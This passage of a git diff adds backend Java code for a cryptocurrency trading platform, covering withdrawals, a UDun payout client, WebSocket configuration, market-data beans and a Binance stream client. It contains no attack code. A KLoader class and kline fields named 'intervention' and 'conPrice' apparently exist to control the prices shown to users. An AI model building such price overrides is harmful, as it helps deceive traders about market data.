withdraw.setUserId(user.getUserId()); + withdraw.setUsername(user.getLoginName()); + withdraw.setAddress(user.getAddress()); + Date now = new Date(); + withdraw.setUpdateTime(now); + withdraw.setCreateTime(now); + withdraw.setCreateBy(user.getLoginName()); + withdraw.setRatio(ratio); + withdraw.setFixedFee(fixedFee); + withdraw.setToAdress(adress); + + fee = amount.multiply(ratio).divide(new BigDecimal(100)).add(fixedFee); + BigDecimal realAmount = amount.subtract(fee); + if (Objects.nonNull(price)){ + BigDecimal receiptRealAmount = finalamount.subtract(fee.multiply(price)); + withdraw.setReceiptRealAmount(receiptRealAmount); + withdraw.setExchangeRate(price); + }else{ + withdraw.setReceiptRealAmount(realAmount); + withdraw.setExchangeRate(BigDecimal.ONE); + } + withdraw.setFee(fee); + withdraw.setNoticeFlag(0); + withdraw.setRealAmount(realAmount); + String serialId = "P" + OrderUtils.generateOrderNum(); + withdraw.setSerialId(serialId); + withdraw.setAdminParentIds(user.getAdminParentIds()); + //增加对应u.btc,eth余额 + if (redisCache.tryLock("app:wallet:" + user.getUserId(), user.getUserId(), 1000)) { + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol(coin) + .userId(user.getUserId()) + .amout(appAsset.getAmout().subtract(amount)) + .availableAmount(appAsset.getAvailableAmount().subtract(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + tWithdrawMapper.insertTWithdraw(withdraw); + //发起提现则扣钱 + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.WITHDRAW.getCode(), user.getLoginName(), withdraw.getSerialId(), remark, beforeMount, beforeMount.subtract(amount), coin, user.getAdminParentIds()); + //打码量归零 充值打码归零 + TAppUser tAppUser = new TAppUser(); + tAppUser.setUserId(user.getUserId()); + tAppUser.setRechargeAmont(BigDecimal.ZERO); + tAppUser.setTotleAmont(BigDecimal.ZERO); + tAppUserMapper.updateById(tAppUser); + //socket 通知后台 + HashMap object = new HashMap<>(); + object.put(CacheConstants.WITHDRAW_KEY_BOT, JSON.toJSONString(withdraw)); + redisUtil.addStream(redisStreamNames, object); + return null; + } else { + log.error("提现钱包锁定, userId:{}, amount:{}", user.getUserId(), amount); + return MessageUtils.message("withdraw.refresh"); + } + } + + + @Transactional(rollbackFor = {Exception.class}) + @Override + public String rejectOrder(TWithdraw wi) { + try { + TWithdraw withdraw =this.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if(!redisCache.tryLock(wi.getWithdrawId()+"rejectOrder","rejectOrder",3000)){ + return "订单已操作"; + } + + + if(withdraw.getStatus()==2){ + return "订单已操作"; + } + + + if (!withdraw.getUpdateBy().equals("系统回收") & !SysUser.isAdmin(SecurityUtils.getUserId()) + & !withdraw.getUpdateBy().equals(SecurityUtils.getUsername())) { + return "订单已经被别人锁定"; + } + BigDecimal amount = withdraw.getAmount(); + String coin = withdraw.getCoin(); + TAppUser user = tAppUserMapper.selectTAppUserByUserId(withdraw.getUserId()); + //资产 + Map map = tAppAssetService.getAssetByUserIdList(withdraw.getUserId()); + TAppAsset asset = map.get(withdraw.getCoin() + user.getUserId()); + BigDecimal beforeMount = asset.getAvailableAmount(); + + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + TRechargeChannelSetting set = new TRechargeChannelSetting(); + List tRechargeChannelSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class); + for (TRechargeChannelSetting tRechargeChannelSetting : tRechargeChannelSettings) { + if (tRechargeChannelSetting.getRechargeType().equals(coin)) { + set = tRechargeChannelSetting; + break; + } + } + String remark = set.getRechargeName() + "提现"; + log.debug("提现前amout ,可用余额,userId {}-{} {}", beforeMount, asset.getAvailableAmount(), user.getUserId()); + if (redisCache.tryLock("app:wallet:" + withdraw.getUserId() + ":" + withdraw.getId(), withdraw.getUserId(), + 1000)) { + asset.setAmout(asset.getAmout().add(amount)); + asset.setAvailableAmount(beforeMount.add(amount)); + tAppAssetService.updateByUserId(asset); + + withdraw.setStatus(2); + withdraw.setUpdateBy(SecurityUtils.getUsername()); + withdraw.setWithDrawRemark(wi.getWithDrawRemark()); + withdraw.setRemark(wi.getRemark()); + withdraw.setOperateTime(new Date()); + this.updateTWithdraw(withdraw); + appWalletRecordService.generateRecord(withdraw.getUserId(), amount, RecordEnum.WITHDRAWAL_FAILED.getCode(), + SecurityUtils.getUsername(), withdraw.getSerialId(), remark, beforeMount, + beforeMount.add(amount), coin, user.getAdminParentIds()); + log.debug("账变前amout ,账变后 ,userId {}-{} {}", beforeMount, beforeMount.add(amount), user.getUserId()); + return "成功"; + } else { + return "操作失败,请刷新"; + } + } catch (Exception e) { + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return "操作失败,请刷新"; + } finally { + redisCache.deleteObject(wi.getWithdrawId()+"rejectOrder"); + } + } + + @Override + public NoticeVO sendMessage(Integer code, String userId) { + NoticeVO noticeVO = new NoticeVO(); + userId = userId.split("_")[0]; + SysUser user = sysUserService.selectUserById(Long.parseLong(userId)); + if (user.isAdmin() || "0".equals(user.getUserType())) { + userId = ""; + } + Map map = new HashMap<>(); + //查找待审核的提现订单 + List list = this.getBaseMapper().selectTWithdrawVoice(userId); + + //查找待审核的充值订单 + List list1 = appRechargeService.selectRechargeVoice(userId); + + //查找待审核实名认证 + List list2 = tAppUserDetailMapper.selectVerifiedVoice(userId); + + if (0 == code) { + noticeVO.setWithdraw(null == list ? 0 : list.size()); + noticeVO.setRecharge(null == list1 ? 0 : list1.size()); + noticeVO.setVerified(null == list2 ? 0 : list2.size()); + return noticeVO; + } + if (1 == code) { + noticeVO.setWithdraw(null == list ? 0 : list.size()); + return noticeVO; + } + if (2 == code) { + noticeVO.setRecharge(null == list1 ? 0 : list1.size()); + return noticeVO; + } + if (3 == code) { + noticeVO.setVerified(null == list2 ? 0 : list2.size()); + return noticeVO; + } + if (4 == code) { + noticeVO.setPosition(1); + return noticeVO; + } + return noticeVO; + } + + @Override + public BigDecimal getAllWithdraw(String parentId, Integer type) { + return tWithdrawMapper.getAllWithdraw(parentId, type); + } + + @Override + public List selectFreezeList(TWithdraw appWithdraw) { + return tWithdrawMapper.selectFreezeList(appWithdraw); + } + + @Override + public Boolean getWithdrawStatus(long loginIdAsLong) { + Integer integer = tWithdrawMapper.getCountByUserId(loginIdAsLong); + return integer>0; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayOutServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayOutServiceImpl.java new file mode 100644 index 0000000..13643a2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayOutServiceImpl.java @@ -0,0 +1,94 @@ +package com.ruoyi.bussiness.service.impl; + + +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.ThirdPayOutService; +import com.ruoyi.common.enums.WithdrawTypeUncEmun; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.udun.client.UdunClient; +import com.ruoyi.udun.domain.Coin; +import com.ruoyi.udun.domain.ResultMsg; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; +import java.math.BigDecimal; +import java.util.List; +import java.util.Objects; + +@Service +@Slf4j +public class UncPayOutServiceImpl implements ThirdPayOutService { + + @Override + public String getName() { + return "unc"; + } + + @Override + public JSONObject payOut(TWithdraw withdraw, ThirdPaySetting setting) { + JSONObject jsonObject = new JSONObject(); + try { + UdunClient udunClient = new UdunClient(setting.getUrl(), + setting.getMechId(), + setting.getKey(), + setting.getReturnUrl()); + //查询支持的币种 + String type = withdraw.getType(); + + String orderNo = withdraw.getSerialId(); + + BigDecimal amount = withdraw.getRealAmount(); + + String toAdress = withdraw.getToAdress(); + String name = WithdrawTypeUncEmun.getValue(type); + if (StringUtils.isEmpty(name)) { + log.info("unc 类型" + name); + + return null; + } + Coin coin1 = checkWithByName(udunClient, name); + if (Objects.isNull(coin1)) { + log.info("unc 支持币种" + type); + return null; + } + ResultMsg resultMsg = udunClient.withdraw(toAdress, amount, coin1.getMainCoinType(), coin1.getCoinType(), orderNo, null); + if (resultMsg.getCode() == 200) { + jsonObject.put("code",200); + jsonObject.put("message", resultMsg.getMessage()); + }else { + log.error("undu, resultMsg:{}", resultMsg); + jsonObject.put("code", resultMsg.getCode()); + jsonObject.put("message", resultMsg.getMessage()); + } + } catch (Exception e) { + e.printStackTrace(); + jsonObject.put("code", 10002); + jsonObject.put("message", "U盾提现接口异常"); + } + return jsonObject; + } + + + private Coin checkWithByName(UdunClient udunClient, String name) { + Coin f = null; + name = name.toUpperCase(); + try { + List coinList = udunClient.listSupportCoin(false); + if (!CollectionUtils.isEmpty(coinList)) { + for (Coin coin1 : coinList) { + String name1 = coin1.getName(); + if (name.equals(name1)) { + f = coin1; + break; + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return f; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayServiceImpl.java new file mode 100644 index 0000000..5b1117e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayServiceImpl.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.service.impl; + + +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.ThirdPayService; +import com.ruoyi.common.enums.RechargeTypeUncEmun; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.udun.client.UdunClient; +import com.ruoyi.udun.domain.Address; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import java.util.Objects; + +@Service +@Slf4j +public class UncPayServiceImpl implements ThirdPayService { + + +// private static final String MECHID="314177"; +// +// public static final String CALLURL = "https://api.rxcecoin.com/api/recall/withdraw/unc"; + + @Override + public String getName() { + return "unc"; + } + + @Override + public JSONObject pay(TAppRecharge recharge, ThirdPaySetting setting) { + + + + return null; + } + + @Override + public JSONObject createAdress(String coin, String symbol, Long userId,ThirdPaySetting setting) { + JSONObject jsonObject=new JSONObject(); + UdunClient udunClient = new UdunClient(setting.getUrl(), + setting.getMechId(), + setting.getKey(), + setting.getReturnUrl()); + String value = RechargeTypeUncEmun.getValue(symbol); + if (StringUtils.isEmpty(value)) { + return jsonObject; + } + Address address = udunClient.createAddress(value); + if(!Objects.isNull(address)){ + jsonObject.put("adress",address.getAddress()); + } + return jsonObject; + } + + @Override + public boolean existAdress(String symbol, String adress, ThirdPaySetting setting) { + UdunClient udunClient = new UdunClient(setting.getUrl(), + setting.getMechId(), + setting.getKey(), + setting.getReturnUrl()); + String value = RechargeTypeUncEmun.getValue(symbol); + if (StringUtils.isEmpty(value)) { + return false; + } + return udunClient.existAdress(value,adress); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/config/KLoader.java b/ruoyi-system/src/main/java/com/ruoyi/socket/config/KLoader.java new file mode 100644 index 0000000..44f1972 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/config/KLoader.java @@ -0,0 +1,20 @@ +package com.ruoyi.socket.config; + +import java.math.BigDecimal; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +public class KLoader { + //控线币种 + public static Map BOT_MAP =new ConcurrentHashMap<>(); + //控线实时价格 + public static Map BOT_PRICE = new ConcurrentHashMap<>(); + //控线时间控制map + public static Map BOT_TIME_MAP =new ConcurrentHashMap<>(); + //控线最高最低价格控制map + public static Map> BOT_PRICE_MAP = new ConcurrentHashMap<>(); + //跟随型 key 是 交易对 value 的map是 key是时间戳 arrayList是价格 + public static Map OPEN_PRICE = new ConcurrentHashMap<>(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/config/SocketThreadPoolTaskConfig.java b/ruoyi-system/src/main/java/com/ruoyi/socket/config/SocketThreadPoolTaskConfig.java new file mode 100644 index 0000000..d866235 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/config/SocketThreadPoolTaskConfig.java @@ -0,0 +1,52 @@ +package com.ruoyi.socket.config; + +import java.util.concurrent.ThreadPoolExecutor; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.annotation.EnableAsync; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; + +/** + * 线程池配置 + * @author zhh + * + */ +@Configuration +@EnableAsync +public class SocketThreadPoolTaskConfig { + +/** + * 默认情况下,在创建了线程池后,线程池中的线程数为0,当有任务来之后,就会创建一个线程去执行任务, + * 当线程池中的线程数目达到corePoolSize后,就会把到达的任务放到缓存队列当中; + * 当队列满了,就继续创建线程,当线程数量大于等于maxPoolSize后,开始使用拒绝策略拒绝 + */ + + /** 核心线程数(默认线程数) */ + private static final int corePoolSize = 50; + /** 最大线程数 */ + private static final int maxPoolSize = 200; + /** 允许线程空闲时间(单位:默认为秒) */ + private static final int keepAliveTime = 10; + /** 缓冲队列大小 */ + private static final int queueCapacity = 200; + /** 线程池名前缀 */ + private static final String threadNamePrefix = "Async-Service-"; + + @Bean("socketThread") // bean的名称,默认为首字母小写的方法名 + public ThreadPoolTaskExecutor taskExecutor(){ + ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); + executor.setCorePoolSize(corePoolSize); + executor.setMaxPoolSize(maxPoolSize); + executor.setQueueCapacity(queueCapacity); + executor.setKeepAliveSeconds(keepAliveTime); + executor.setThreadNamePrefix(threadNamePrefix); + + // 线程池对拒绝任务的处理策略 + // CallerRunsPolicy:由调用线程(提交任务的线程)处理该任务 + executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); + // 初始化 + executor.initialize(); + return executor; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/config/WebSocketConfig.java b/ruoyi-system/src/main/java/com/ruoyi/socket/config/WebSocketConfig.java new file mode 100644 index 0000000..1f17a3d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/config/WebSocketConfig.java @@ -0,0 +1,46 @@ +package com.ruoyi.socket.config; + +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.socket.manager.WebSocketUserManager; + +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.socket.socketserver.WebSocketServers; +import com.ruoyi.socket.socketserver.WebSocketSubCoins; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + + +@Configuration +public class WebSocketConfig { + @Autowired + RedisCache redisCache; + @Autowired + WebSocketServers webSocketServers; + @Autowired + WebSocketUserManager webSocketConfig; + @Autowired + WebSocketNotice webSocketNotice; + @Autowired + WebSocketCoinOver webSocketCoinOver; + @Autowired + WebSocketSubCoins webSocketSubCoins; + @Autowired + ITWithdrawService withdrawService; + @Autowired + ITOwnCoinService tOwnCoinService; + /** + * 这个bean会自动注册使用了@ServerEndpoint注解声明的对象 + * @return + */ + @Bean + public void webSocketHandler() { + webSocketServers.setWebSocketServers(redisCache,webSocketConfig); + webSocketNotice.setWebSocketServers(redisCache,withdrawService); + webSocketCoinOver.setWebSocketServers(redisCache); + webSocketSubCoins.setWebSocketServers(redisCache,tOwnCoinService); + } +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/constants/SocketTypeConstants.java b/ruoyi-system/src/main/java/com/ruoyi/socket/constants/SocketTypeConstants.java new file mode 100644 index 0000000..b84ece8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/constants/SocketTypeConstants.java @@ -0,0 +1,34 @@ +package com.ruoyi.socket.constants; + +/** + * socket 常量 + */ +public class SocketTypeConstants +{ + + /** + * 心跳 + */ + public static final String HEARTBEAT = "HEARTBEAT"; + + /** + * 结算 + */ + public static final String SETTLEMENT = "SETTLEMENT"; + + /** + * 持仓结算 + */ + public static final String POSITION = "POSITION"; + + /** + * 用户账号冻结 + */ + public static final String USER_STATUS = "USER_STATUS"; + + /** + * 申购 + */ + public static final String OWN_COIN = "OWNCOIN"; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/BinanceDTO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/BinanceDTO.java new file mode 100644 index 0000000..5a7da63 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/BinanceDTO.java @@ -0,0 +1,11 @@ +package com.ruoyi.socket.dto; + +import com.huobi.wss.event.MarketKLineSubResponse; +import lombok.Data; + +@Data +public class BinanceDTO { + private String ch; + private Long ts; + private Object tick; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/DetailTickBean.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/DetailTickBean.java new file mode 100644 index 0000000..f69051b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/DetailTickBean.java @@ -0,0 +1,17 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.math.BigDecimal; +@Data +public class DetailTickBean { + private Long id; + private Long mrid; + private BigDecimal open; + private BigDecimal close; + private BigDecimal high; + private BigDecimal low; + private BigDecimal amount; + private BigDecimal vol; + private BigDecimal count; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/KlineTickBean.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/KlineTickBean.java new file mode 100644 index 0000000..133a86a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/KlineTickBean.java @@ -0,0 +1,20 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.math.BigDecimal; +@Data +public class KlineTickBean { + private Long id; + private BigDecimal mrid; + private BigDecimal vol; + private BigDecimal count; + private BigDecimal open; + private BigDecimal close; + private BigDecimal low; + private BigDecimal high; + private BigDecimal amount; + private Boolean intervention; + private BigDecimal conPrice; + private Long conTime; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/MessageVo.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/MessageVo.java new file mode 100644 index 0000000..f4c1179 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/MessageVo.java @@ -0,0 +1,9 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class MessageVo { + String message; + String code ; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/NoticeVO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/NoticeVO.java new file mode 100644 index 0000000..75b87a0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/NoticeVO.java @@ -0,0 +1,13 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class NoticeVO { + + private Integer withdraw; + private Integer recharge; + private Integer verified; + private Integer position; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketDto.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketDto.java new file mode 100644 index 0000000..3548daa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketDto.java @@ -0,0 +1,10 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class SocketDto { + //是否是json 0 不是 1是 + private String type; + private String message; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketMessageVo.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketMessageVo.java new file mode 100644 index 0000000..63ffce5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketMessageVo.java @@ -0,0 +1,10 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class SocketMessageVo { + + String type; + MessageVo date; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeDataBean.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeDataBean.java new file mode 100644 index 0000000..224eec4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeDataBean.java @@ -0,0 +1,13 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.math.BigDecimal; +@Data +public class TradeDataBean { + private BigDecimal amount; + private Long ts; + private Long id; + private BigDecimal price; + private String direction; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeTickBean.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeTickBean.java new file mode 100644 index 0000000..0926b6a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeTickBean.java @@ -0,0 +1,11 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.util.List; +@Data +public class TradeTickBean { + private Long id; + private Long ts; + private List data; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsCoinSubVO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsCoinSubVO.java new file mode 100644 index 0000000..56494c0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsCoinSubVO.java @@ -0,0 +1,19 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class WsCoinSubVO { + + private Long userId; + private String subscribeId; + private Long ownId; + private String ownCoin; + private BigDecimal amountLimit; + private Long numLimit; + private BigDecimal price; + private String status; + private String msg; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsSubBO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsSubBO.java new file mode 100644 index 0000000..0b99306 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsSubBO.java @@ -0,0 +1,15 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class WsSubBO { + //消息订阅类型 订阅 -subscribe 取消订阅-unsubscribe + private String op; + //订阅消息 规则:DETAIL TRADE KLINE + private String type; + //币种 + private String symbol; + private String userId; + private String interval; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsVO.java b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsVO.java new file mode 100644 index 0000000..3e9b155 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsVO.java @@ -0,0 +1,11 @@ +package com.ruoyi.socket.dto; + +import lombok.Data; + +@Data +public class WsVO { + //trade kline detail + private String type; + private String symbol; + private Object data; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/manager/BianaceWebSocketClient.java b/ruoyi-system/src/main/java/com/ruoyi/socket/manager/BianaceWebSocketClient.java new file mode 100644 index 0000000..048e1b1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/manager/BianaceWebSocketClient.java @@ -0,0 +1,639 @@ +package com.ruoyi.socket.manager; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.binance.connector.client.WebSocketStreamClient; +import com.binance.connector.client.enums.DefaultUrls; +import com.binance.connector.client.exceptions.BinanceConnectorException; +import com.binance.connector.client.utils.ParameterChecker; +import com.binance.connector.client.utils.RequestBuilder; +import com.binance.connector.client.utils.UrlBuilder; +import com.binance.connector.client.utils.WebSocketConnection; +import com.binance.connector.client.utils.httpclient.WebSocketStreamHttpClientSingleton; +import com.binance.connector.client.utils.websocketcallback.WebSocketClosedCallback; +import com.binance.connector.client.utils.websocketcallback.WebSocketClosingCallback; +import com.binance.connector.client.utils.websocketcallback.WebSocketFailureCallback; +import com.binance.connector.client.utils.websocketcallback.WebSocketMessageCallback; +import com.binance.connector.client.utils.websocketcallback.WebSocketOpenCallback; + +import okhttp3.OkHttpClient; +import okhttp3.Request; + +public class BianaceWebSocketClient implements WebSocketStreamClient { + private static final Logger logger = LoggerFactory.getLogger(com.binance.connector.client.impl.WebSocketStreamClientImpl.class); + + private OkHttpClient client = new OkHttpClient(); + private final String baseUrl; + private final Map connections = new HashMap<>(); + private final WebSocketOpenCallback noopOpenCallback = response -> { }; + private final WebSocketClosingCallback noopClosingCallback = (code, reason) -> { }; + private final WebSocketClosedCallback noopClosedCallback = (code, reason) -> { }; + private final WebSocketFailureCallback noopFailureCallback = (throwable, response) -> { }; + + public BianaceWebSocketClient() { + this.baseUrl = DefaultUrls.WS_URL; + } + + public BianaceWebSocketClient(String baseUrl) { + this.baseUrl = baseUrl; + } + + /** + * The Aggregate Trade Streams push trade information that is aggregated for a single taker order. + *

    + * <symbol>@aggTrade + *

    + * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#aggregate-trade-streams + */ + @Override + public int aggTradeStream(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return aggTradeStream(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #aggTradeStream(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int aggTradeStream(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@aggTrade", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * The Trade Streams push raw trade information; each trade has a unique buyer and seller. + *

    + * <symbol>@trade + *

    + * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#trade-streams + */ + @Override + public int tradeStream(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return tradeStream(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #tradeStream(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int tradeStream(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@trade", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * The Kline/Candlestick Stream push updates to the current klines/candlestick every second. + *

    + * <symbol>@kline_<interval> + *

    + * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @param interval Time interval for kline/candlestick + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#kline-candlestick-streams + */ + @Override + public int klineStream(String symbol, String interval, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return klineStream(symbol.toLowerCase(), interval, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #klineStream(String, String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param interval Time interval for kline/candlestick + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int klineStream(String symbol, String interval, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@kline_%s", baseUrl, symbol.toLowerCase(), interval)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * 24hr rolling window mini-ticker statistics. + * These are NOT the statistics of the UTC day, but a 24hr rolling window for the previous 24hrs. + *

    + * <symbol>@miniTicker + *

